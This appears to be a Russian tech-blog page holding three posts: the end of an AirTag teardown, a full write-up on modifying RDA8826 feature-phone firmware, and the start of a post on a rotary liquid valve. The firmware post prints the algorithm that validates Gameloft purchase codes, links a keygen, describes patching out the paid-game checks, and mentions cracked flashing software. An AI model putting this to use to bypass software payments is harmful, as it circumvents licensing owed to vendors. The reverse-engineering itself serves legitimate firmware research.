SmartTag производства Samsung единственный трекер, которому не присвоен класс защиты от проникновения загрязнений, и это довольно удивительно, учитывая, что этот трекер имеет самый толстый клеевой слой, защищающий печатную плату. Так что же, это худший из всех трекеров? Или Samsung просто старается не обещать слишком многого, как в случае с iPhone 6S?

Со звуком у Apple всегда сюрпризы

Вся конструкция AirTag это сплошные круговые части. Заметили "кнопку" на нижней стороне крышки? Это кнопка не нажимается, как у Mate и SmartTag. Это магнит, который ранее мы видели на рентгеновском снимке. Он размещается внутри логической платы в форме пончика, вложенной в катушку из меди. И это у нас динамик. Вы правильно прочитали корпус AirTag, в сущности, представляет собой один сплошной динамик. Питание подаётся на звуковую катушку, управляющую магнитом, установленным на диафрагме (в данном случае это пластиковая крышка, в которой размещается аккумуляторная батарея), и именно она издаёт звуки, на которые вы идёте, разыскивая потерянную сумку.

Но зачем вообще ставить сюда реальные приводные механизмы? Магниты не только увеличивают вес, но и занимают довольно много места. Миниатюрные пьезоэлектрические динамики в Mate и SmartTag во время тестирования издавали такой же и даже более громкий звук, поэтому дело тут не в громкости. Похоже, что от одного удовольствия Apple здесь не могла отказаться ей хотелось качественного звука. Пьезодинамики миниатюрны, дёшевы, но звучат под стать цене, например как динамики в игрушках из набора Happy Meal в ресторанах Макдональдс. Зная Apple и зная, с какой серьёзностью компания подходит к проектированию звуковых источников, можно заключить, что на звуке она здесь даже здесь! не сэкономила.

Набор инструментов для вскрытия корпусов, отсоединения кабелей, снятия АЦП и прочего.

Нет отверстия для брелока? Спокойно, я нашла его

На некоторое время прервём разборку. В отличие от конкурентов с отверстием для брелока, на идеально круглой внешней поверхности AirTag вообще нет места, чтобы продеть брелок по крайней мере найти его не так просто. Официальный способ крепления устройства к ключам предполагает закупку различных аксессуаров, то есть придётся заказывать и ждать. Но, если вы можете уверенно держать дрель и готовы рискнуть 29 долларами... то специально для вас я создала собственную методику DIY.

Я внимательно изучила внутренности первого AirTag. Затем взяла сверло 1/16" и аккуратно проделала отверстие во втором трекере из нашей упаковки в четыре штуки (разумеется, сначала я вынула из него аккумулятор). Каким-то чудом мне удалось не задеть микросхемы, платы и антенну, и я просверлила только клееный пластик. Что самое приятное было в этой операции? А то, что AirTag стойко её пережил и продолжил работать как ни в чём не бывало.

Понравилось? Тогда можете надеть на него ключ или кольцо. Только сначала не забудьте вынуть из устройства аккумулятор. И, кстати, не надейтесь, что устройство сохранит свои возможности IP67Понравилось? Тогда можете надеть на него ключ или кольцо. Только сначала не забудьте вынуть из устройства аккумулятор. И, кстати, не надейтесь, что устройство сохранит свои возможности IP67

Удивительно, но звуковой профиль практически не изменился: уровень децибел на расстоянии одного iPhone Mini от AirTag находился в пределах погрешности +/- 1 дБ от непросверленного AirTag (около 7880 дБ). С учётом того, что в качестве мембраны динамика Apple использует сам пластиковый купол, это стало приятным сюрпризом.

Прежде чем поделиться с вами секретами сверления, предупреждаю в последний раз: хотите делать делайте, но только на свой страх и риск! Если начать сверлить не в том месте, можно серьёзно повредить устройство. Поэтому не пытайтесь это делать в домашних условиях, если не готовы превратить свой трекер в практически невесомое пресс-папье. Сопровождённые этим напутствием, посмотрите теперь видео с обнаруженными нами "безопасными зонами".

Чтобы безопасно продырявить AirTag, нужно просверлить одну из выемок в печатной плате / экране антенны (подробнее об этом расскажу чуть позже) в том месте, в которое заходят зажимы, скрепляющие части трекера. На видео я выделила три таких выемки. Можно увидеть, что их положение примерно соответствуют положению зажимов металлической крышки аккумуляторного отсека, то есть эти зажимы можно использовать в качестве ориентира. В идеальном случае нужно не попасть сверлом в сам зажим (у меня это получилось), а просверлить только клеевую часть, но, если всё-таки случится так, что вы заденете зажим это не будет смертельно ни для вас, ни для AirTag.

Кстати, Apple за 13 долларов продаёт держатели для AirTag, не говоря уже о сторонних производителях, продукция которых уже заполонила интернет-магазины. Но мой доморощенный способ сверления отверстия позволяет разместить AirTag на брелоке или кольце с минимальным количеством дополнительных деталей, увеличивающих вес и объём конструкции. Взломать можно даже самое мелкое устройство, и мы будем бороться за это наше право.

Заскучали? Напрасно, ведь мы ещё не вскрывали платы

Снять платы с Tile (слева) и Samsung (справа) пара пустяков, чего не скажешь об AirTagСнять платы с Tile (слева) и Samsung (справа) пара пустяков, чего не скажешь об AirTag

Мы поговорили об аккумуляторах, поразвлекались немного с дрелью, теперь перейдём к мозговому центру платам. Материнская плата Mate (слева) красивого чёрного цвета помещена в литую пластиковую рамку и вынимается простым движением вверх. SmartTag от Samsung (справа) единственный из трёх трекеров, в котором используются винты: два из них крепят плату. Это довольно удивительно, учитывая любовь Samsung к клеевым соединениям.

AirTag самый стойкий из трёх трекеров. Он скорее умрёт, но, где спрятано золото, не выдаст. Его плата приклеена намертво, и монтажной лопатке развернуться совсем негде. Плата размещена в изящно спаянном корпусе антенны, а в центре "пончика" располагается крайне хрупкая звуковая катушка. Плата сидит как влитая, и вряд ли её можно снять, не повредив. Если вы решили повторить мой путь и добрались до этого места, смиритесь с тем, что восстановить работоспособность устройства, скорее всего, не удастся.

Как и во многих продуктах Apple, плата AirTag многослойная прямо как огр. Слева показана вся сборка (вид сверху) с медной звуковой катушкой в центре, которая всё ещё скреплена двумя паяными соединениями. Плата размещается внутри позолоченной пластиковой антенной рамки, которую, чтобы лучше рассмотреть, мы перевернули (в центре, звуковая катушка снята); а справа показана нижняя часть платы, на которой размещается "тяжелая артиллерия".

Первая сторона логической платы AirTag, на которой размещается трёхосевой акселерометр Bosch Sensortec BMA28x, также встречается в других продуктах Apple.Первая сторона логической платы AirTag, на которой размещается трёхосевой акселерометр Bosch Sensortec BMA28x, также встречается в других продуктах Apple.

На первой стороне платы находится трёхосевой акселерометр, контактные штыри аккумулятора и те самые точки пайки голосовой катушки, работающие в паре вышеупомянутым магнитом, заставляя AirTag издавать звуки.

Под этими приспособлениями на обратной стороне платы размещаются чипы, датчики и другие миниатюрные элементы.

Их перечисление
  • U1 СШП-приёмопередатчик Apple.

  • Bluetooth SoC с низким энергопотреблением и NFC-контроллером Nordic Semiconductor nRF52832.

  • Флеш-память 32 МБ NOR flash GigaDevice GD25LE32D.

  • Цифровой усилитель звука Maxim Integrated MAX98357B, класс AB.

  • Операционный усилитель ввода/вывода 1 МГц, rail-to-rail Texas Instruments TLV9001.

  • Коммутатор нагрузки, реле защиты от максимального напряжения ON Semiconductor FPF2487.

  • Понижающий преобразователь 300 мА DC-DC Texas Instruments TPS62746.

  • Что-то похожее на преобразователь DC-DC ON Semiconductor.

  • Что-то похожее на преобразователь DC-DC ON Texas Instruments.

В своём анонсе AirTag Apple только и говорила, сколько усилий она приложила, чтобы её трекер соответствовал стандартам конфиденциальности Apple. Предотвращая злоумышленное использование, iPhone предупредит хозяина, если AirTag, не зарегистрированный в его учётной записи iCloud, следит за ним. Кроме того, AirTag, который хозяин не использовал длительное время, начнёт издавать звуки, если его взять в руки, и тем самым привлечёт к себе внимание.

Но вернёмся к звуку. Что, если злоумышленник отключит динамик AirTag, а потом заставит его за кем-то следить? Мы провели небольшое исследование и считаем нужным сообщить: есть несколько относительно простых способов отключения динамика и сохранения при этом работоспособности AirTag. По понятным причинам мы не будем рассказывать, как это сделать. Просто знайте об этом особенно если учесть, что не у всех есть iPhone, который может получать уведомление о "выключенном" AirTag. Для сравнения: пьезоэлектрические динамики в Tile Mate и Galaxy SmartTag отключаются так же легко, но они, похоже, не могут похвастаться такими же мощными функциями безопасности.

Итак, мы разобрали устройство

Мы не можем объяснить, почему AirTag так долго добирался до рынка, но можем с уверенностью сказать, что компания постаралась на славу. Это устройство не похоже на продукт первого поколения. Можно ли в него внести улучшения? Можно, но, по сравнению с рыночным стандартом Tile AirTag представляется устройством, продуманным до мелочей. По сравнению с предложением Samsung AirTag это элегантная футуристическая ЕВА, а SmartTag неуклюжий работящий ВАЛЛ-И.

Кстати, об улучшениях: хотя Apple любит продукты, которые "просто работают", иногда таким продуктам требуется небольшая помощь, чтобы ими могли пользоваться простые люди. Оказалось, что методы DIY вполне работоспособны и не лишают вас возможностей (кроме потери класса защиты от проникновения загрязнений, но эту проблему побороть легко нужна всего пара нашлёпок Sugru). С другой стороны, одна из главных функций безопасности AirTag довольно элементарно отключается без всяких хитростей мрачное напоминание, что в наши дни цифровая конфиденциальность и безопасность остаются и ещё долго будут оставаться головной болью разработчиков.

Так какой же трекер взял главный приз? С точки зрения аппаратного обеспечения, его продвинутость большой роли не играет, но если у вас iPhone 11 или выше (кроме iPhone SE 2020), то добавленная к AirTag СШП-функциональность указателя будет приятным плюсом. С точки зрения ремонтопригодности, все устройства имеют сменные батареи, и на этом практически всё. Но могло быть и хуже! AirTag, естественно, выглядит наиболее впечатляюще, у него изящный динамик. Кому как, но мы считаем, что Apple идёт верной дорогой.

Какие трекеры мы пропустили? Сколько трекеров вы используете, и как долго они служат? Покажите нам, как вам удалось сделать отверстия в своих AirTag и следите за публикациями, чтобы этой весной увидеть новые разборки.

Если вам интересны устройства Apple изнутри во всех смыслах и вы хотели бы попробовать себя в роли мобильного разработчика, обратите внимание на наш курс по iOS-разработке, где вы научитесь кодить на Swift, работать с анимациями, познакомитесь с Human Interface Guidelines (руководством по созданию интерфейсов по стандартам Apple) и опубликуете своё приложение в AppStore.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Мелкая доработка прошивки кнопочного телефона на платформе RDA8826 (SC6533, MIPS) отключаем Funbox, взламываем игры

07.06.2021 06:10:37 | Автор: admin

Введение

Несмотря на чрезвычайную популярность смартфонов, обычные кнопочные телефоны не потеряли свою актуальность среди людей, которым нужны исключительно базовые функции связи.
Рынок РФ заполнен множеством моделей разных характеристик, размеров, форм-факторов и расцветок: от миниатюрных телефонов размером с автомобильный брелок для удобной доставки на зону, до моделей а-ля 90-е, которыми можно убить грудного ребёнка.

Inoi 102 и Strike F10Inoi 102 и Strike F10

Купил я телефон Inoi 101: дешевый, но функционально достойный даже на фоне более дорогих моделей. Всё бы хорошо, если бы не нежелательная функциональность, присущая большинству недорогих звонилок:

  • Пробные игры с покупкой полной версии через СМС, причём состояние покупки сбрасывается при полном сбросе устройства;

  • Встроенное меню СМС-подписок "Funbox": гороскопы, анекдоты, новости, прочая платная ерунда.

Платные игр и меню FunboxПлатные игр и меню Funbox

Попробуем устранить недостатки путём анализа и модификации прошивки.

Чипсет

Современные кнопочные девайсы строятся на платформах трёх производителей: RDA Microelectronics, Spreadtrum, Mediatek. Первой компании уже не существует: её купил Spreadtrum в середине 2015. Обе компании ребрендировали под именем Unisoc в 2018 году.

Рассматриваемый телефон работает на последнем чипе классического RDA семейства Gallite, и был сделан уже после покупки компании, из-за чего у чипа два названия: RDA8826C (RDA'шное) и SC6533g (Spreadtrum'овское). В интернете нет не только datasheet'ов, но и почти никакой публичной информации об этой модели.
Архивная страница сайта rdamicro.com 2017 года скупо повествует нам о ключевых возможностях SoC'а:

General Description
RDA8826C is a high performance, highly integrated system-on-chip solution for low cost, low power, GSM/GPRS mobile phone.
Integrating all essential electronic components, including baseband, quad band RF transceiver, power management, FM receiver, Bluetooth onto a single system on chip, RDA8826C offers best in class bill of material, space requirement and cost/feature ratio for complete phone handsets.

Key Features
1. MIPS 312MHz processor
2. GSM/GPRS modem
3. 32Mb Flash and 64Mb PSRAM integrated
4. 320x480(HVGA) resolution

Нынешние телефоны построены в основном на процессорах Spreadtrum и Mediatek архитектуры ARM. Inoi 101 не только последний из могикан на чипе ныне несуществующей компании, но и работает на ныне непопулярной архитектуре, с не самым известным набором команд MIPS16e, в котором инструкции кодируются в 2 байта вместо четырех, для уменьшения размера прошивки, что жизненно необходимо устройству со всего 4 МБ (32 Мбит) флеша.

Печальный факт: производители современных звонилок агрессивно экономят на флеш-памяти. Доступный пользователю объем выражается, как правило, десятками килобайт.
Вы не сможете пользоваться диктофоном или камерой без MicroSD-карты. Количество контактов и СМС-сообщений в памяти телефона ограничено, как и длина поля имя, и общее количество полей записной книги.
Для сравнения, в Samsung X100 2003 года выпуска пользователю было доступно 9 мегабайт памяти, в Siemens C65 2004-го 6 МБ.
Такова плата за дешевизну: X100 $230 на старте продаж, Inoi 101 $9.

SoC RDA8826 содержит в себе центральный процессор RDA8809e2, Baseband-процессор CT8851C, Bluetooth и FM-модули rdabt_8809 и rdafm_8809. Достоверная информация о всех компонентах в интернете не представлена.

Получение прошивки

Чтобы модифицировать прошивку, нужно сначала завладеть ей. Самый простой вариант поискать на веб-сайте производителя. Inoi выкладывает прошивки ко всем своим моделям, но они не всегда самые последние оказалось, что в версии с сайта отсутствует набор Т9 и игра Тетрис.
Что-ж, телефон уже прошит, придётся покупать второй и скачивать актуальную прошивку с него. Сделать это можно, в случае RDA, только сторонними программами, т.н. боксами аппаратно-программными комплексами для прошивки и восстановления от сторонних разработчиков. Обычно необходимо купить сам бокс (устройство с набором кабелей) и подписку на ПО, но к счастью подходящее ПО уже есть взломанной версии, отвязанное и от бокса, и от подписки Miracle Thunder 2.82 от Gsm_X_Team. Относитесь к этому ПО как к трояну устанавливайте на отдельный компьютер, без интернета (в виртуалке не работает).

Miracle ThunderMiracle Thunder

Официальные прошивки поставляются в текстовом формате .lod. Этот формат описывает процесс прошивки поблочно, в соответствии с размерами блоков флеш-памяти, в виде адреса загрузки и бинарных данных, закодированных по 4 байта little endian. Формат нестандартный, но простой, без особенностей. Единственное, что нужно учесть при написании конвертера файл описывает не все блоки флеша, некоторые из блоков не программируются (есть дыры).

#$mode=flsh_spi32m#$sectormap=(16 x 4k, 57 x 64k, 96 x 4k)#$base=0x08000000#$spacesize=0x08000000#$XCV_MODEL=xcv_8809e2 #$PA_MODEL=pasw_hs8292u #$FLSH_MODEL=flsh_spi32m #$FLASH_SIZE=0x00400000 #$RAM_SIZE=0x00800000 #$RAM_PHY_SIZE=0x00800000 #$CALIB_BASE=0x003FA000 #$FACT_SETTINGS_BASE=0x003FE000 #$CODE_BASE=0x00000000 #$USER_DATA_BASE=0x00380000 #$USER_DATA_SIZE=0x0007A000 #$PM_MODEL=pmu_8809 #$FM_MODEL=rdafm_8809e @08000000d9ef004500000000000000000000000027bdffd0afb10028008088213c0481e0

Открываем дамп флеша или преобразованный файл прошивки в вашем любимом дисассемблере, начинаем анализировать, быстро разочаровываемся: строк мало, сегментация памяти непонятная, IDA норовит неправильно определить MIPS32/MIPS16-код, тут и там странные указатели 0x82xxxxxx на оперативную память, в которые никто не пишет

Скребём по сусекам

Раз не получается найти спецификацию на процессор, попробуем поискать какие-либо исходники по немногочисленным строкам, найденным в прошивке.

Поиск приводит к двум репозиториям: https://github.com/jprothwell/sc-fix и https://github.com/cherryding1/RDA8955_W17.44_IDH
По первой ссылке можно скачать старые, но достаточно актуальные исходные коды загрузчика, HAL, пользовательского интерфейса и всей обвязки для старого семейства чипов RDA, а по второй ссылке доступен memory layout [1], [2] для нашего процессора.

Из заголовочных файлов узнаём самое основное:

  • Флеш располагается по адресу 0x88000000 (4 МиБ)

  • Оперативная память в 0x82000000 (8 МиБ)

  • SRAM 0x81C00000 (64 КиБ)

  • BootROM 0x81E00000

UI на моём устройстве построен на форке фреймворка MMI (man-machine interface) от компании Pixtel CoolMMI. Подобный фреймворк используется и в ОС для кнопочных телефонов Mediatek MAUI, под названием PlutoMMI.

Фреймворк создавался в лучшие годы кнопочных телефонов, с соответствующим качеством кода всё завязано на глобальные переменные, глобальные состояния, магические константы, массивы строк, массивы функций-обработчиков кнопок. Монолитная архитектура без какой-либо модульности (даже минимальной) не позволяет писать красивый код разные функциональные возможности активируются #define'ами в унифицированных *.c-файлах для всех случаев, затрудняющими чтение кода.

Обращение к текстовым строкам, ресурсам, задачам, меню, элементам NVRAM происходит с помощью уникального цифрового идентификатора, что затрудняет исследование: вы видите только цифры, далеко не сразу поддающиеся установке соответствия в осмысленную строку, пункт меню или ресурс.

/* Get current screen to gui buffer  for history purposes*/guiBuffer = GetCurrGuiBuffer( SCR_CALL_TIME_SETUP_MAIN );/* Retrieve no of child of menu item to be displayed */nNumofItem = GetNumOfChild( MENU_CALL_TIME_SETUP );/* Get attribute of menu to be displayed *///nDispAttribute = GetDispAttributeOfItem( MENU_CALL_TIME_SETUP );/* Retrieve string ids in sequence of given menu item to be displayed */GetSequenceStringIds( MENU_CALL_TIME_SETUP, nStrItemList );/* Set current parent id*/SetParentHandler( MENU_CALL_TIME_SETUP );/* Register highlight handler to be called in menu screen */RegisterHighlightHandler( ExecuteCurrHiliteHandler );/* Construct hint for menu items */ConstructHintsList(MENU_CALL_TIME_SETUP, displayBuffer);/* Display Category1 Screen */ShowCategory52Screen( STR_MENU_CALL_TIME_SETUP, IMG_MENU_CALL_TIMES,                        STR_GLOBAL_OK, IMG_GLOBAL_OK, STR_GLOBAL_BACK,                        IMG_GLOBAL_BACK, nNumofItem, nStrItemList,                        (U16 *)gIndexIconsImageList,                        displayBuffer, 0, 0, guiBuffer );/* Register function with right softkey */SetKeyHandler( GoBackHistory,KEY_LEFT_ARROW, KEY_EVENT_DOWN);SetRightSoftkeyFunction( GoBackHistory, KEY_EVENT_UP );return;

Начальную информацию об основных функциях PlutoMMI от Mediatek можно почерпнуть из файла mmi framework and architecture.pdf. Архитектура CoolMMI и PlutoMMI совпадает в достаточной мере, чтобы пользоваться (аналогично скудной) документацией конкурирующего производителя.

Поиск сжатых ресурсов

Итак, память размечена правильно, а кардинальных изменений не видно множество функций продолжают вызывать код из оперативной памяти, но найти, кто пишет в эти адреса, с наскока не получается. Да и ресурсов подозрительно мало.

После непродолжительного анализа обнаруживаются три особенности:

Переиспользование функций из BootROM
Для максимальной экономии пространства на флеш-памяти производитель реализовал наиболее востребованные функции библиотеки C непосредственно в ROM-памяти чипа: строковые функции (strlen, strcmp, strcpy, strcat, strtok), функции сравнения и копирования памяти (memcmp, memcpy, memmem, memchr), форматирования и вывода (sprintf, vsprintf), поиска и сортировки (bsearch, qsort) вызываются из памяти ROM, и не содержатся в коде прошивки, экономя драгоценные килобайты.

Сжатие кода и ресурсов алгоритмом LZMA
Код наиболее объемных модулей (WAP-браузера, мультимедиа-плеера, приложения FM-радио, инженерного меню) хранится в сжатом виде, а распаковывается один раз, при запуске телефона. Ничего дополнительного после распаковки не происходит: код скомпонован так, будто эти модули всегда в оперативной памяти по фиксированным адресам.
Аналогично распаковываются текстовые строки, но только для одного, текущего языка.

Копирование несжатого кода в оперативную память
Самый архитекрутно важный код ОС копируется в оперативную память и выполняется из неё. Вероятно, это сделано для максимальной скорости исполнения базовых функций ОС.

Сжатые ресурсы легко находятся через binwalk. Можно было бы каждый из них вручную распаковать и загрузить в текущую базу IDA по корректным адресам, но я нашел способ проще, надёжней и быстрее.

Снятие оперативной памяти

Оказалось, протокол прошивки не только простой, но и разрешает чтение произвольных адресов без какой-либо подготовки, прямо во время работы телефона. В интернете была найдена готовая программа для чтения прошивки через UART, которая после модификации была использована для чтения всех 8 МиБ оперативной памяти через USB. 2 минуты и никакой ручной работы!
Чтобы получить коммандный порт через USB, можно воспользоваться модулем usb-serial в Linux. Достаточно всего лишь научить модуль работать с RDA:

$ echo 1e04 0900 | sudo tee /sys/bus/usb-serial/drivers/generic/new_id

Разжатая функция в оперативной памятиРазжатая функция в оперативной памяти

Отныне нам доступны все распакованные функции и ресурсы в оперативной памяти, что позволяет нам беспрепятственно их проанализировать.

Покупаем игры

В рассматриваемом телефоне присутствуют 3 платных игры производства Gameloft: Danger Dash, Ninja Up, Tetris. Первая раннер, без какой-либо физики прыжка, вторая примитивный фроггер с одним экраном, играть можно разве что в тетрис, но он начинает тормозить при заполнении экрана фигурами.
Каждая игра запускается всего 5 раз, далее их предлагается оплатить. Игры стоят 99 рублей каждая половину стоимости телефона обдираловка!

С точки зрения пользователя, покупка совершается так: нажимаем на кнопку купить, телефон отправляет платное СМС, пользователю приходит ответный код, который нужно ввести в окно регистрации. Но если купить игру, запомнить ответный код, сбросить телефон и попробовать заново ввести этот же код, то он, с большой вероятностью, не подойдет.
Как так?

Алгоритм следующий:

  1. Генератор псевдослучайных чисел инициализируется значением текущей минуты;

  2. Генерируется псевдослучайное число от 1000 до 9999;

  3. Случайное число отправляется в СМС и сохраняется в NVRAM;

  4. Ответный код проверяется с учётом сохраненного случайного числа.

Связка запрос-ответ уникальна для каждой модели, и зависит от той минуты, в которую была нажата кнопка купить:

game_response_code = (1000 * (game_random % 10)                    + game_random / 1000                    + 100 * (game_random / 10 % 10)                    + 10 * (game_random / 100 % 10)) ^ 0x1D6B;game_code_temp = game_response_code;game_response_code = atoi("28060") + game_code_temp;return game_response_code == input_code;

Где 28060 идентификатор телефона Inoi 101.
Этот нехитрый алгоритм легко реализовать в виде кейгена, что я и сделал: http://gameloft-keygen.valdikss.org.ru/
К слову, на телефонах с Mediatek алгоритм кода регистрации точно такой же, но алгоритм генерации псевдослучайных чисел отличается.

Самый простой способ зарегистрировать игры навсегда пропатчить код инициализации, заменив переменные количества демо-запусков на переменные купленности игры. Так как эта функция находится в несжатой области кода, проблем с её модификацией не возникнет.

Замена переменных в функции инициализацииЗамена переменных в функции инициализации

Найти функции можно по отладочным строкам, содержащим характерное имя файла:

Функция вывода номера строки файла src/gameloft_billing.cФункция вывода номера строки файла src/gameloft_billing.c

Отключаем Funbox

Меню платных СМС-подписок ожидаемая, но неуместная функция послепродажного заработка денег производителем. Одно неловкое нажатие и минимум 5 рублей со счёта в сутки вам обеспечено. Подобные вещи позволяют держать цены на кнопочные телефоны на очень низком уровне, но в моём устройстве им не место.

Как и в случае с играми, в функциях Funbox присутствует отладочный вывод номеров строк с именем файла "src/gmb_smart_sms_win.c". С этих строк можно дошагать до функции-обработчика выделения элемента главного меню (в CoolMMI они называются hilite, очевидно имеется в виду highlight), в котором и находится иконка.
Методом проб и ошибок удалось обнаружить обработчик входа в интерфейс подписок, который был благополучно за'nop'лен нажатие на иконку Funbox центральной кнопкой или левой софт-клавишей более ни к чему не приводят.

Функция расположена в несжатой области и легко поддаётся изменению.

Исправляем громкость

Компонент аудиоусилителя телефона имеет 15 ступеней усиления, но для мультимедии прошивка телефона предусматривает всего 7 уровней громкости, с большими шагами между ними. Это неудобно: на единице телефон еле слышно, а на двойке он сразу ОРЁТ.

Попробуем исправить эту проблему. В заголовочных файлах быстро находится регистр CONFIG_REGS по базовому адресу 0x01A24000, структура которого описывается следующим образом:

#define REG_CONFIG_REGS_BASE  0x01A24000#define hwp_configRegs        ((HWP_CFG_REGS_T*) KSEG1(REG_CONFIG_REGS_BASE))typedef volatile struct{  REG32    CHIP_ID;          //0x00000000  /// This register contain the synthesis date and version  REG32    Build_Version;    //0x00000004  /// Setting bit n to '1' selects GPIO Usage for PAD connected to GPIOn. Setting  /// bit n to '0' selects Alt.  REG32    GPIO_Mode;        //0x00000008  REG32    Alt_mux_select;   //0x0000000C  REG32    IO_Drive1_Select; //0x00000010  REG32    IO_Drive2_Select; //0x00000014  REG32    audio_pd_set;     //0x00000018  REG32    audio_pd_clr;     //0x0000001C  REG32    audio_sel_cfg;    //0x00000020  REG32    audio_mic_cfg;    //0x00000024  REG32    audio_spk_cfg;    //0x00000028  REG32    audio_rcv_gain;   //0x0000002C  REG32    audio_head_gain;  //0x00000030} HWP_CFG_REGS_T;//audio_spk_cfg#define CFG_REGS_AU_SPK_GAIN(n)     (((n)&15)<<0)#define CFG_REGS_AU_SPK_MUTE_N      (1<<4)

Использование регистра происходит через сегмент KSEG1, в обход MMU и кешей. Полный адрес audio_spk_cfg, обращения к которому нужно искать в дисассемблере 0xA1A24028.

После непродолжительного поиска обнаруживается функция, преобразующая уровень усиления (по всей видимости, в децибелах) в значение SPK_GAIN:

int __fastcall volume_maps(int a1) // 0x88038184{  int result; // $v0  result = 0;  if ( a1 >= 5 )  {    result = 2;    if ( a1 >= 14 )    {      result = 4;      if ( a1 >= 18 )      {        result = 6;        if ( a1 >= 20 )        {          result = 8;          if ( a1 >= 22 )          {            result = 10;            if ( a1 != 22 )            {              result = 12;              if ( a1 != 23 )                return 14;            }          }        }      }    }  }  return result;}

Изменив уровни с [0, 2, 4, 6, 8, 10, 12, 14] на [0, 1, 2, 3, 5, 6, 8, 10], мы получили более плавную регулировку ценой уменьшения максимальной громкости, которая всё равно только приводила к перегрузу маломощного динамика телефона.

Если при воспроизведения MP3-файлов положительный эффект очевиден, то громкость FM-радио всё ещё регулируется с недостаточной гранулярностью. Вероятно, это аппаратная проблема подключения FM-чипа.

Неожиданные трудности

Для MIPS существует два стандарта 16-битных инструкций: MIPS16e и microMIPS. Первый является дополнением (extension) к архитектуре MIPS32: код может использовать одновременно оба набора инструкций, процессор может переключаться между режимом выполнения MIPS32 и MIPS16e в любое время, прыжком на нечётный адрес инструкции. Не все инструкции и возможности MIPS можно выразить командами MIPS16e иногда переключение в режим MIPS32 просто необходимо.
microMIPS же полноценная архитектура с полным набором 16-битных команд. Вот что говорит официальная брошюра:

The benchmarks prove that the microMIPS architecture delivers similar memory savings as the MIPS16e ASE, but with much better performance. The question is how? The list of reasons includes new optimized 16- and 32-bit instructions, an optimized recoding of MIPS32 instructions, and optimized op code format and register utilization.

The earlier stated fact that microMIPS is a complete architecture not an extension is also key. Both MIPS16e, and for that matter the similarly-targeted ARM Thumb technologies, are extensions. Both microMIPS and these extensions rely on the concept of new 16-bit versions of regularly used instructions to minimize code size. And all deliver reductions in code size. But only microMIPS delivers 32-bit performance.

The microMIPS mode can handle all operations such as exception handling, and offers a superset of the MIPS32 ISA. With MIPS16e, the programmer had to swap modes to use ASEs such as MIPS DSP. The microMIPS mode can seamlessly access the ASEs. The need to run legacy binary code is really the only reason that would prompt a programmer to use the MIPS32 mode.

Проблема в том, что привычные утилиты инлайн-ассемблирования кода для патча программы, такие как rasm2 из состава Radare2 и kstool из KeyStone, не поддерживают режим MIPS16e. Они либо ассемблируют 32-битные команды, несмотря на то, что выбран 16-битный режим, либо выводят опкоды, явно не соответствующие MIPS16e.

К счастью, ассемблер gcc поддерживает режим MIPS16e, а работать с ним почти так же удобно, как с rasm2/kstool. Есть, разве что, одна особенность: он выравнивает блок nop'ами.

$ echo 'jr $ra' | mips64-linux-gnu-as -o /dev/null -al -mips16 -32GAS LISTING                     page 1   1 0000 E8206500      jr $ra   1      65006500    1      65006500    1      65006500

Вывод

Надеюсь, эта небольшая заметка поможет исследователям прошивок кнопочных телефонов на платформе RDA и подогреет желание к погружению в звонилки на платформах других производителей. Доступные в любом магазине, эти дешевые но полнофункциональные двухсимочные телефоны с доступом в интернет так и просятся в руки хакеров, чтобы их адаптировали не только под базовые потребности связи.
Как оказалось, нет ничего сложного в минимальном изменении функциональности подобных устройств. Автор не столкнулся с неразрешимыми проблемами, проделанный путь в целом совпадает с анализом прошивкок любого другого устройства, а доступные исходники, хоть и устаревшие, позволяют разобраться в архитектуре и, при желании, интегрировать новые функции, не обладая кодом самой прошивки.

Готовую модифицированную прошивку для Inoi 101 можно скачать на GSMForum.ru: https://gsmforum.ru/threads/inoi-101-modificirovannaja-proshivka.337775/

Подробнее..

Как мы создали собственную систему распределения жидкостей

19.06.2021 22:22:36 | Автор: admin

Вы узнаете:

  • зачем вообще нам это понадобилось

  • можно ли работать с отечественными производителями без страха и упрека

  • почему не стоит экономить на деталях для изделий (спойлер: если у вас железные нервы, то можно)

  • как не скатиться в отчаянье, а научиться управлять рисками.

Разработчик это звучит гордо

Как думают многие: придумываешь идею, разрабатываешь продукт, зарабатываешь миллионы. Как на самом деле: чтобы собрать робота, нужно думать как человек. Мыслить как человек с хорошо отлаженными процессами в голове, осознающий риски, считающий время, деньги и нервы как свои, так и команды, ну и конечно, заказчика.

Для чего нужен гистологический процессор

В доковидные времена, а именно в начале 2018-го, наша команда запустила инжиниринговый стартап Nextelligence и стартовала в проекте по созданию вакуумного процессора для гистологических лабораторий.

Если коротко, то это прибор, в который помещают специальные перфорированные пластиковые кассеты с материалами человеческого происхождения (живого или уже не очень), чтобы впоследствии морфолог (гистолог/патологоанатом) мог посмотреть под микроскопом микропрепарат и сделать гистологическое заключение.

Первый и самый затратный по времени из 5 этапов гистологической пробоподготовки осуществить замещение присутствующей в материале воды на парафиновую смесь. Процесс замещения воды парафином называется гистологической проводкой или просто проводкой. Этот процесс и нужно было автоматизировать, то есть создать прибор, который в автоматическом режиме последовательно заливает исследуемый материал разными реагентами. При этом важно было свести риск утраты исследуемого материала к минимуму по статистике в лабораториях теряется практически каждая пятая проба.

Проработка концепта

Концепт прибора казался весьма простым, типа реагент насос ткань, пока дело не дошло до проектирования системы распределения реагентов внутри прибора. Дело в том, что помимо своей агрессивности (например, ксилол запросто растворяет или необратимо портит большинство известных пластиков и эластомеров) реактивы имеют свойство образовывать солевые отложения, преципитаты, на внутренних частях прибора, что, в свою очередь, быстро выводит его из строя.

Естественно, заказчик хотел сделать изделие надёжным, так что мы сразу отмели вариант использования острова с соленоидными клапанами, выполняющего роль распределителя реактивов, просвет которых быстро забивается. Использование шаровых клапанов было также нежелательно из-за их громоздкости и неповоротливости, поэтому было решено пойти по своему особому пути и спроектировать компактный многопозиционный ротационный клапан.

Примерно концепт ротационного клапана можно описать следующим образом: в центре клапана лежат 2 специальных диска, один из которых, стационарный, имеет отверстия по периметру и в центре (рис. 1), а второй, ротационный канавку от центра к краю (рис. 2).

Рисунок 1. Стационарный дискРисунок 1. Стационарный дискРисунок 2. Ротационный дискРисунок 2. Ротационный диск

Сложности, отчаянье и надежда из Дюссельдорфа

